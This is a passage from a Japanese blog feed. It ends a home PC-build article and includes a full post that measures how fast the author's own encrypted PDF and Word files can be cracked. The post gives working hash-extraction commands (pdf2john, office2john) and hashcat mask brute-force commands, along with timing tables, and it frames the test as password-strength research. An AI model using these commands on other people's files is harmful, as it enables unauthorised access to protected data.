SSDはデータ記憶しておくものでありHDDとの違いはSSDの方が衝撃に強く、データの読み書きが高速である。しかしSSDの方が寿命が短いという欠点もある。OSとかは基本的にこっちに入れる。<br>
<img decoding="async" loading="lazy" alt="SSD差し込み" src="https://kogcoder.com/assets/images/SSD_inserting-59a26749554f7a2e1abc260a66ea8eec.JPG" width="1920" height="1280" class="img_ev3q">
SSDをマザーボードに取り付ける。<br>
<img decoding="async" loading="lazy" alt="SSD差し込み完了" src="https://kogcoder.com/assets/images/SSD_inserted-a3b16b7fbcc2c8fafa64c0822bb3677c.JPG" width="1920" height="1280" class="img_ev3q">
斜めに刺さっているがこれであっている。<br>
<img decoding="async" loading="lazy" alt="SSDねじ止め" src="https://kogcoder.com/assets/images/SSD_installing-63164527eb689846960ca6b6757c3830.JPG" width="1920" height="1280" class="img_ev3q">
SSDをねじで止める。<br>
<img decoding="async" loading="lazy" alt="SSD" src="https://kogcoder.com/assets/images/SSD_installed-5692cf2a80caf87b81da82c3cc6c9f31.JPG" width="1920" height="1280" class="img_ev3q">
SSD取付完了。</p>
<h1>マザーボード</h1>
<p>"PRIME H610M-A D4"を使用。<br>
<!-- -->各パーツの名称はこうなっている。<br>
<img decoding="async" loading="lazy" alt="マザーボード" src="https://kogcoder.com/assets/images/motherboard_name_-939d0284956b3957166344d71d93d25e.png" width="1280" height="720" class="img_ev3q">
マザーボードはCPUやグラボやメモリなどを乗せるパーツ。カスタマイズするときは毎回このマザーボードからパーツを取り外して新しいものに取り換える作業が必要になる。</p>
<p><img decoding="async" loading="lazy" alt="拡大図" src="https://kogcoder.com/assets/images/motherboard_zoom-b3b9d693b70241c17b0fb1cb6b0bfdea.JPG" width="1920" height="1280" class="img_ev3q">
これは完成図だが、よく見ると小さいパーツが沢山集まってできているのが分かる。どのパーツも何かしらの役割があると考えるとマザーボード含めPCは技術の結晶だなと思う。ずっと見ていると街のジオラマのようにもみえる。<br>
<!-- -->あと、意外と柔らかくて曲がる。</p>
<h1>NIC</h1>
<p>"intel Wi-Fi 6 AX200 Gig+"を使用。
<img decoding="async" loading="lazy" alt="NIC" src="https://kogcoder.com/assets/images/NIC(1)-e8b5c63141e90f3916187f183cf587c9.JPG" width="1920" height="1280" class="img_ev3q">
Network Interface Card の略。<br>
<!-- -->インターネットに接続するために必要なもの。<br>
<!-- -->これがないとインターネットに接続できない。
<img decoding="async" loading="lazy" alt="NIC取り付け場所" src="https://kogcoder.com/assets/images/NIC_installing(1)-b3e819ff5e5ddff860f7b36565d368b7.JPG" width="1920" height="1280" class="img_ev3q">
ここに①を取り付ける。<br>
<!-- -->ここでアクシデント。マザーボードを先に取り付けていた影響でNICをケースに固定できなくなってしまった。<br>
<!-- -->一度マザーボードを取り外して...
<img decoding="async" loading="lazy" alt="NICケース取り付け場所" src="https://kogcoder.com/assets/images/NIC_case(1)-12e5d7888844a0f4e305d7f8c795a7e1.JPG" width="1280" height="1920" class="img_ev3q">
ここに②を取り付ける。<br>
<!-- -->マザーボードを元に戻して...<br>
<img decoding="async" loading="lazy" alt="NIC取り付け完了" src="https://kogcoder.com/assets/images/NIC_installed-1a5a883bd065b3676707f025cf22fc5d.JPG" width="1920" height="1280" class="img_ev3q">
NIC取り付け完了！</p>
<h1>グリス+CPUクーラー</h1>
<p>CPUクーラーは"SCYTHE 白虎 弐(BYAKKO2)"、グリスは付属のものを使用。<br>
<img decoding="async" loading="lazy" alt="グラボ拡大図" src="https://kogcoder.com/assets/images/CPU_fan-a28d78cd023f6533d3bac4c7aff60e66.JPG" width="1920" height="1280" class="img_ev3q">
CPUには排熱をするためにCPUクーラーを取り付けるが、グリスを塗って熱伝導率を高めることによってより効率よく排熱をしている。<br>
<!-- -->CPUにグリスを塗って...</p>
<p><img decoding="async" loading="lazy" alt="CPUファン設置" src="https://kogcoder.com/assets/images/fan_installed-3a50292b5e4b92ad828f616779cf8961.JPG" width="1920" height="1280" class="img_ev3q">
CPUクーラーを設置！<br>
<!-- -->CPUクーラーはヒートシンクとファンで構成されいる。ヒートシンクは画像中央上の金属の板が重なったやつ。こうすることによって表面積を広げ効率よくCPUの熱を受け取り、熱せられた空気をファンで排気する。</p>
<h1>グラフィックボード</h1>
<p>グラフィックカード、ビデオカードとも呼ばれる。<br>
<!-- -->"GeForce GTX1650 D6 AERO ITX J OC"を使用。<br>
<!-- -->だいたい¥27000くらい。 (2022年2月現在)<br>
<!-- -->基盤部分であるグラフィックボードとクーラーは分かれている場合もあるが、今回購入したものは最初から合体していた。基盤部分にはGPUやグラフィックメモリー、補助電源などが取り付けられている。<br>
<img decoding="async" loading="lazy" alt="GPU" src="https://kogcoder.com/assets/images/GPU-b386714cbe2602116ebd0bc5608cb741.JPG" width="1920" height="1280" class="img_ev3q">
グラフィックボードは無くてもPCはだいたい普通に動く。<br>
<!-- -->グラフィックボードは3Dや高画質でゲームをする人、動画編集で重たい動画をエンコードする人に必要なパーツ。最近はマイニングにも使われる。<br>
<!-- -->これはGPUの計算能力に寄っている。複雑な（連続的な）計算が得意なCPUに対して定式的（並列的）な計算が得意なGPUは画面描画やマイニング、パスワード解析など膨大な計算量のタスクに長けている。<br>
<!-- -->実際コア数もCPUが数個なのに対して、GPUは数千個にもなる。今回購入したCPU（Core™ i5-12400F）のコア数が6ユニット12スレッドに対してGPU（GTX1650）は896ユニットある。</p>
<p><img decoding="async" loading="lazy" alt="GPU取付" src="https://kogcoder.com/assets/images/GPU_installing-bfa922a8402292ba6baa32019f291cff.JPG" width="1920" height="1280" class="img_ev3q">
PCI-Express x16 スロットに差し込んで設置。<br>
<!-- -->他のパーツに比べてかなり軽い力で設置できた。</p>
<h1>HDD</h1>
<p>"HDWU 120UZSAVA"(2TB)を使用。<br>
<img decoding="async" loading="lazy" alt="HDD" src="https://kogcoder.com/assets/images/HDD-757b89483085f1558b98b2dc02408cbc.JPG" width="1920" height="1280" class="img_ev3q">
HDDはSSDと比べて衝撃に弱く、読み書きも遅いが <strong>寿命が長い</strong> という利点がある。膨大なデータを長期保存する場合にはHDDが向いている。<br>
<!-- -->まずケースのどこかにHDDを固定するためのスペースがあるので探す。
<img decoding="async" loading="lazy" alt="HDD取り付け場所" src="https://kogcoder.com/assets/images/HDD_case-143f374978863d8189afe888eae90e58.JPG" width="1920" height="1280" class="img_ev3q">
今回はマザーボードを固定した面の裏にあった！
<img decoding="async" loading="lazy" alt="HDD取り付け" src="https://kogcoder.com/assets/images/HDD_installing-942c77fc6e79d46fa3ad628cee16a284.JPG" width="1920" height="1280" class="img_ev3q">
動かないようにしっかりと固定していく...
<img decoding="async" loading="lazy" alt="HDD固定完了" src="https://kogcoder.com/assets/images/HDD_installed-fc31baaf898ccbc2cd40acaf9405cdca.JPG" width="1920" height="1280" class="img_ev3q">
HDD固定完了！</p>
<h1>配線</h1>
<p>電源配線の名称は以下の通り。これ以外にもSATAなどがある。
<img decoding="async" loading="lazy" alt="電源コード" src="https://kogcoder.com/assets/images/wire-daf83b13ba376aeda2690cdf750b523a.JPG" width="1280" height="720" class="img_ev3q">
使わないケーブルもある。</p>
<p><img decoding="async" loading="lazy" alt="配線マザボ" src="https://kogcoder.com/assets/images/wire(1)-28fb3202e589568307c646401ff078d9.JPG" width="1920" height="1280" class="img_ev3q">
Motherbord 20+4Pin　差し込み！<br>
<!-- -->マザーボード用電源。チップセット、メインメモリ等に供給される。</p>
<p><img decoding="async" loading="lazy" alt="ATX12V" src="https://kogcoder.com/assets/images/wire_ATX_12V-bc86e363a337c347f24c2792c8a4f4c3.JPG" width="1920" height="1280" class="img_ev3q">
ATX12V　差し込み！<br>
<!-- -->CPU用電源。</p>
<p><img decoding="async" loading="lazy" alt="SATA端子" src="https://kogcoder.com/assets/images/wier_SATA-59d3ee27846ca2e0b470cb6a76a7a815.JPG" width="1920" height="1280" class="img_ev3q">
<img decoding="async" loading="lazy" alt="SATA差し込み" src="https://kogcoder.com/assets/images/wire_SATA_installed-e39db5bbf56282e0b8766191da3b5789.JPG" width="1920" height="1280" class="img_ev3q">
SATA　差し込み！<br>
<!-- -->SATAは端子がL字の特徴的な形。主にパソコンとHDDや光学ドライブの間でデータのやり取りをするときに使われる。PS4にも使われている。</p>
<p><img decoding="async" loading="lazy" alt="配線SH_1" src="https://kogcoder.com/assets/images/wire_SH1-82ad70fd56bc57e2d362928c15b6f0fd.JPG" width="1920" height="1280" class="img_ev3q">
<img decoding="async" loading="lazy" alt="配線SH_2" src="https://kogcoder.com/assets/images/wire_SH2-9371bdf951daf3fdf6f80e4cc84d9bf4.JPG" width="1920" height="1280" class="img_ev3q">
<img decoding="async" loading="lazy" alt="配線SH_3" src="https://kogcoder.com/assets/images/wire_SH3-63145ed775753ca7f9e329da7ae5ac0a.JPG" width="1920" height="1280" class="img_ev3q">
システムヘッダパネルに対応する配線を繋げて終了！<br>
<!-- -->これを接続することで電源ボタン、再起動ボタン、電源ランプ、HDDランプなどが使えるようになる。</p>
<p><img decoding="async" loading="lazy" alt="完成図" src="https://kogcoder.com/assets/images/wire_complete-5bd337327ea76e921ea076c900982d64.JPG" width="1920" height="1280" class="img_ev3q">
完成図（ケースの蓋を外した状態）</p>
<h1>終わりに</h1>
<p>いかがだったでしょうか？</p>
<p>一番の感想は「<strong>思ったより力技</strong>」ということ。もちろん個体差はあるだろうが、メモリの差し込みは体重かけてやっと入るくらいだった。精密機器であることと値段を思うとなかなか心臓に悪い。<br>
<!-- -->そして、意外と組み立てはできそうだとも思った（まだ１人ではできないけど）。恐らく自分に合ったパーツを買いそろえる方が、互換性や規格の問題で難しそう。<br>
<!-- -->まだ自分でPCを組んだことのない方は今回のように自作PC経験者の方に協力して頂きながら挑戦してみるのも良いと思う。</p>
<p>PCを自分で組み立てることによってPCに問題が生じたときに「電源が弱いのかな」や「グラボを新しくしようかな」などの発想が思いつくと、より安く、自分の目的に合ったPCにカスタマイズできるだろう。</p>
<p><strong>皆さんも自分好みのPCを作って快適なPC環境を整えよう！</strong></p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UploadTest]]></title>
            <link>https://kogcoder.com/2022/02/26/pc/uploadtest</link>
            <guid>https://kogcoder.com/2022/02/26/pc/uploadtest</guid>
            <pubDate>Fri, 25 Feb 2022 15:00:00 GMT</pubDate>
            <description><![CDATA[{/ truncate /}]]></description>
        </item>
        <item>
            <title><![CDATA[ファイルに設定されたパスワードが安全であるかを検証してみる]]></title>
            <link>https://kogcoder.com/2022/02/21/hashcat</link>
            <guid>https://kogcoder.com/2022/02/21/hashcat</guid>
            <pubDate>Mon, 21 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[今回私は解析用のPCをつくり、暗号化されたファイルがどの程度安全であるのかを検証した。]]></description>
            <content:encoded><![CDATA[<p>今回私は解析用のPCをつくり、暗号化されたファイルがどの程度安全であるのかを検証した。</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="注意">注意<a href="https://kogcoder.com/2022/02/21/hashcat#%E6%B3%A8%E6%84%8F" class="hash-link" aria-label="注意 への直接リンク" title="注意 への直接リンク" translate="no">​</a></h2>
<p>この記事はパスワードの安全性と長さの関連を調査しています。
不正にパスワードを入手することは不正アクセス禁止法により禁止されています。</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ハッシュ値とは">ハッシュ値とは<a href="https://kogcoder.com/2022/02/21/hashcat#%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E3%81%A8%E3%81%AF" class="hash-link" aria-label="ハッシュ値とは への直接リンク" title="ハッシュ値とは への直接リンク" translate="no">​</a></h2>
<p>「ハッシュ関数」と呼ばれるものにデータをわたすとそのデータに応じた値を返します。その値がハッシュ値です。<br>
<!-- -->データからハッシュ値を求めることは容易ですが、<br>
<!-- -->ハッシュ値からデータを求めることは非常に困難です。  （不可逆的）
このハッシュ値を利用することによってパスワードを安全に保管できます。</p>
<!-- -->
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="hashcatでハッシュ値解析をする">hashcatでハッシュ値解析をする<a href="https://kogcoder.com/2022/02/21/hashcat#hashcat%E3%81%A7%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E8%A7%A3%E6%9E%90%E3%82%92%E3%81%99%E3%82%8B" class="hash-link" aria-label="hashcatでハッシュ値解析をする への直接リンク" title="hashcatでハッシュ値解析をする への直接リンク" translate="no">​</a></h2>
<p>今回ハッシュ値解析にはhashcatを用いた。 hashcatはハッシュ値の解析にGPUを使用することができるため、高速にハッシュ値を解析できる。
検証に用いたPCの性能は以下である。</p>
<table><thead><tr><th style="text-align:left">CPU</th><th style="text-align:left">GPU</th><th style="text-align:left">OS</th></tr></thead><tbody><tr><td style="text-align:left">intel Core i5-12400F Processor 18M Cache, up to 4.40GHz</td><td style="text-align:left">GeForce GTX 1650</td><td style="text-align:left">Ubuntu 20.04</td></tr></tbody></table>
<p>また以下のハッシュ値解析を検証した。</p>
<table><thead><tr><th style="text-align:left">ファイルの種類</th><th style="text-align:left">パスワードの長さ</th><th style="text-align:left">maskの有無</th></tr></thead><tbody><tr><td style="text-align:left">PDF(wordファイルをpdfにエクスポート)</td><td style="text-align:left">6桁</td><td style="text-align:left">数字4桁+小文字2文字</td></tr><tr><td style="text-align:left">PDF(Texのオプションにパスワードを付けた)</td><td style="text-align:left">6桁</td><td style="text-align:left">無し</td></tr><tr><td style="text-align:left">PDF(Texのオプションにパスワードを付けた)</td><td style="text-align:left">7桁</td><td style="text-align:left">無し</td></tr><tr><td style="text-align:left">Word</td><td style="text-align:left">6桁</td><td style="text-align:left">無し</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="解析してみる">解析してみる<a href="https://kogcoder.com/2022/02/21/hashcat#%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B" class="hash-link" aria-label="解析してみる への直接リンク" title="解析してみる への直接リンク" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="環境構築">環境構築<a href="https://kogcoder.com/2022/02/21/hashcat#%E7%92%B0%E5%A2%83%E6%A7%8B%E7%AF%89" class="hash-link" aria-label="環境構築 への直接リンク" title="環境構築 への直接リンク" translate="no">​</a></h3>
<p>まずhashcatを入れる。</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo apt install hashcat</span><br></div></code></pre></div></div>
<p>次にhashcatを動かすために対応するGPUのドライバを入れる。
<a href="https://www.nvidia.co.jp/Download/index.aspx?lang=jp" target="_blank" rel="noopener noreferrer" class="">https://www.nvidia.co.jp/Download/index.aspx?lang=jp</a></p>
<p>入れ終わったらちゃんと動くか確認...</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">hashcat -I</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_GPU-936c67026b093d74349fa871651e6248.png" width="1920" height="1080" class="img_ev3q">
ちゃんとGPUが読み込まれていることが確認できた！</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="パスワード付きのファイルを用意">パスワード付きのファイルを用意<a href="https://kogcoder.com/2022/02/21/hashcat#%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E4%BB%98%E3%81%8D%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92%E7%94%A8%E6%84%8F" class="hash-link" aria-label="パスワード付きのファイルを用意 への直接リンク" title="パスワード付きのファイルを用意 への直接リンク" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="texで作ったファイルにパスワードを付ける">texで作ったファイルにパスワードを付ける<a href="https://kogcoder.com/2022/02/21/hashcat#tex%E3%81%A7%E4%BD%9C%E3%81%A3%E3%81%9F%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AB%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E4%BB%98%E3%81%91%E3%82%8B" class="hash-link" aria-label="texで作ったファイルにパスワードを付ける への直接リンク" title="texで作ったファイルにパスワードを付ける への直接リンク" translate="no">​</a></h4>
<p>ターミナルで</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ dvipdfmx -S 暗号化するファイル.dvi</span><br></div></code></pre></div></div>
<p>今回は読み込みパスワードだけをつけたいのでowner passwordは無しにした。</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="wordファイルにパスワードを付ける">wordファイルにパスワードを付ける<a href="https://kogcoder.com/2022/02/21/hashcat#word%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AB%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E4%BB%98%E3%81%91%E3%82%8B" class="hash-link" aria-label="wordファイルにパスワードを付ける への直接リンク" title="wordファイルにパスワードを付ける への直接リンク" translate="no">​</a></h4>
<p>「名前を付けて保存する」から「ツール」を選択し「全般オプション」にてパスワードを設定し、保存する。</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="パスワード付きのwordファイルをpdfに変換">パスワード付きのwordファイルをpdfに変換<a href="https://kogcoder.com/2022/02/21/hashcat#%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E4%BB%98%E3%81%8D%E3%81%AEword%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92pdf%E3%81%AB%E5%A4%89%E6%8F%9B" class="hash-link" aria-label="パスワード付きのwordファイルをpdfに変換 への直接リンク" title="パスワード付きのwordファイルをpdfに変換 への直接リンク" translate="no">​</a></h3>
<p>ファイルからエクスポートを選択し「PDF/XPSドキュメントの作成」を選ぶ。</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="ハッシュ値を抽出する">ハッシュ値を抽出する<a href="https://kogcoder.com/2022/02/21/hashcat#%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E3%82%92%E6%8A%BD%E5%87%BA%E3%81%99%E3%82%8B" class="hash-link" aria-label="ハッシュ値を抽出する への直接リンク" title="ハッシュ値を抽出する への直接リンク" translate="no">​</a></h4>
<p>今回はJohn the ripper を使った。<br>
<a href="https://github.com/openwell/john" target="_blank" rel="noopener noreferrer" class="">https://github.com/openwell/john</a><br>
<!-- -->基本的にはdocの中にあるINSTALL-UBUNTUの指示通りにインストールしていく。<br>
<!-- -->一応aptコマンドでインストール出来るがハッシュ値を抽出したい場合はgithubからのインストールを推奨。</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="pdfからハッシュ値を抽出">pdfからハッシュ値を抽出<a href="https://kogcoder.com/2022/02/21/hashcat#pdf%E3%81%8B%E3%82%89%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E3%82%92%E6%8A%BD%E5%87%BA" class="hash-link" aria-label="pdfからハッシュ値を抽出 への直接リンク" title="pdfからハッシュ値を抽出 への直接リンク" translate="no">​</a></h4>
<p>john/run/pdf2john.pl を実行する。</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ john/run/pdf2john.pl ハッシュ値を抽出したいpdfファイル &gt; hash.txt</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="officeからハッシュ値を抽出">officeからハッシュ値を抽出<a href="https://kogcoder.com/2022/02/21/hashcat#office%E3%81%8B%E3%82%89%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E3%82%92%E6%8A%BD%E5%87%BA" class="hash-link" aria-label="officeからハッシュ値を抽出 への直接リンク" title="officeからハッシュ値を抽出 への直接リンク" translate="no">​</a></h4>
<p>john/run/office2john.py を実行する。</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ john/run/office2john.py ハッシュ値を抽出したいofficeファイル &gt; hash.txt</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="hashcatで解析する">hashcatで解析する<a href="https://kogcoder.com/2022/02/21/hashcat#hashcat%E3%81%A7%E8%A7%A3%E6%9E%90%E3%81%99%E3%82%8B" class="hash-link" aria-label="hashcatで解析する への直接リンク" title="hashcatで解析する への直接リンク" translate="no">​</a></h3>
<p>詳しい使い方は</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ hashcat --help</span><br></div></code></pre></div></div>
<p>を参照。</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="hash-typeを調べる">hash-typeを調べる<a href="https://kogcoder.com/2022/02/21/hashcat#hash-type%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B" class="hash-link" aria-label="hash-typeを調べる への直接リンク" title="hash-typeを調べる への直接リンク" translate="no">​</a></h4>
<p>hashcatでハッシュ値解析をする場合事前にhash-typeを指定する必要がある。hash-typeがどれか分からないときは以下を実行するとhash-typeがわかる</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ hashcat hash.txt</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_hash_type1-35fc85bc42f95e172838fd7d4d4372db.png" width="1920" height="1080" class="img_ev3q">
今回はtexのハッシュタイプを調べた。<br>
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_hash_type2-a653c02249f1307f75930f46670db6a0.png" width="1920" height="1080" class="img_ev3q">
10400または10410であることが分かった。</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="解析開始">解析開始<a href="https://kogcoder.com/2022/02/21/hashcat#%E8%A7%A3%E6%9E%90%E9%96%8B%E5%A7%8B" class="hash-link" aria-label="解析開始 への直接リンク" title="解析開始 への直接リンク" translate="no">​</a></h4>
<p>基本的にはブルートフォースアタックで解析していく。</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$ hashcat -m 10400 -a 3 hash.txt ?d?d?d?d?l?l</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_start-46c5a47a378300af47d158d183cca385.png" width="1920" height="1080" class="img_ev3q">
今回はパスワードが数字4桁+小文字2文字であることが分かっていると想定してmask指定をして解析した。
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_2sec-1ea670f7987b9831effc6728abe52133.png" width="1920" height="1080" class="img_ev3q">
2秒で終わっちゃった笑
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_passwd-226595d1e5df47ed05aa62ac17fe8104.png" width="1920" height="1080" class="img_ev3q">
パスワードが9732gfであることが分かった。</p>
<p>今度は同じパスワードをmask無しで解析してみた。
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_passwd-226595d1e5df47ed05aa62ac17fe8104.png" width="1920" height="1080" class="img_ev3q">
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_ascii_len=6-e17dc9eed6daeadd3900c2cf19dc2bc8.png" width="1920" height="1080" class="img_ev3q">
記録は...7秒！</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="john-the-ripper-でハッシュ値解析">John the ripper でハッシュ値解析<a href="https://kogcoder.com/2022/02/21/hashcat#john-the-ripper-%E3%81%A7%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%80%A4%E8%A7%A3%E6%9E%90" class="hash-link" aria-label="John the ripper でハッシュ値解析 への直接リンク" title="John the ripper でハッシュ値解析 への直接リンク" translate="no">​</a></h2>
<p>先ほどはGPUを並列処理にまわしたためすぐに解析出来ました。では今度はVirtual Boxを用いて意図的にスペックの低い環境でハッシュ値解析をしてみましょう。
性能はこんな感じ
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/virtualbox_kali-5461a864cb28238113a80be7d2c6aeb4.png" width="1920" height="1080" class="img_ev3q">
メモリは4GB,プロセッサーは2つ<br>
<!-- -->環境構築は省略<br>
<!-- -->さっそく解析してみた。
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/kali_time-ce1e0cbab7564634bca87636e7d3289d.png" width="1920" height="1080" class="img_ev3q">
マスクありだと解析時間が短すぎて比較にならなかったのでマスクなしで解析した。  記録は...5分29秒！<br>
<!-- -->まぁ現実的な数値ですね。
いかにこのパスワードが脆弱であるかが分かりましたね。</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="性能比較">性能比較<a href="https://kogcoder.com/2022/02/21/hashcat#%E6%80%A7%E8%83%BD%E6%AF%94%E8%BC%83" class="hash-link" aria-label="性能比較 への直接リンク" title="性能比較 への直接リンク" translate="no">​</a></h2>
<p>1秒にチェックできるハッシュ値の数を比較してみましょう。
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/kali_hash_per_sec-bf83427daa62d49c53d28d87351b2c7a.png" width="1920" height="1080" class="img_ev3q">
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_259M-d693c40e357022b3cca563df7c21d60c.png" width="1920" height="1080" class="img_ev3q">
仮想環境では
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/kali_hash-2d41901dc042e074adbef1b00a0df48e.png" width="1052" height="83" class="img_ev3q">
メイン環境では
<img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/hashcat_hash-a643d1b9c68f70ecb892e0141e109858.png" width="1196" height="94" class="img_ev3q">
大雑把に見積もっても約100倍のスピードでハッシュ値解析をしていることが分かった。<br>
<!-- -->hashcat...恐るべし</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="まとめ">まとめ<a href="https://kogcoder.com/2022/02/21/hashcat#%E3%81%BE%E3%81%A8%E3%82%81" class="hash-link" aria-label="まとめ への直接リンク" title="まとめ への直接リンク" translate="no">​</a></h2>
<p>以下に各ファイル形式におけるパスワードの解析時間をまとめる。
なお以下で想定するパスワードは印字可能なアスキーコードであるとする。</p>
<table><thead><tr><th style="text-align:left">ファイル形式</th><th style="text-align:left">hash-type</th><th style="text-align:right">桁数</th><th>解析にかかる時間</th></tr></thead><tbody><tr><td style="text-align:left">PDF(tex)</td><td style="text-align:left">10400</td><td style="text-align:right">5桁</td><td>30秒</td></tr><tr><td style="text-align:left">PDF(tex)</td><td style="text-align:left">10400</td><td style="text-align:right">6桁</td><td>2852秒</td></tr><tr><td style="text-align:left">PDF(tex)</td><td style="text-align:left">10400</td><td style="text-align:right">7桁</td><td>75時間</td></tr><tr><td style="text-align:left">PDF(tex)</td><td style="text-align:left">10400</td><td style="text-align:right">8桁</td><td>297日</td></tr><tr><td style="text-align:left">PDF(office)</td><td style="text-align:left">10500</td><td style="text-align:right">5桁</td><td>1112秒</td></tr><tr><td style="text-align:left">PDF(office)</td><td style="text-align:left">10500</td><td style="text-align:right">6桁</td><td>29時間</td></tr><tr><td style="text-align:left">PDF(office)</td><td style="text-align:left">10500</td><td style="text-align:right">7桁</td><td>116日</td></tr><tr><td style="text-align:left">PDF(office)</td><td style="text-align:left">10500</td><td style="text-align:right">8桁</td><td>30年</td></tr><tr><td style="text-align:left">word</td><td style="text-align:left">9600</td><td style="text-align:right">5桁</td><td>18日</td></tr><tr><td style="text-align:left">word</td><td style="text-align:left">9600</td><td style="text-align:right">6桁</td><td>4.8年</td></tr></tbody></table>
<p>皆さんもこれを参考に安全なパスワードを設定しましょう。</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[団体内の備品管理システムを作った]]></title>
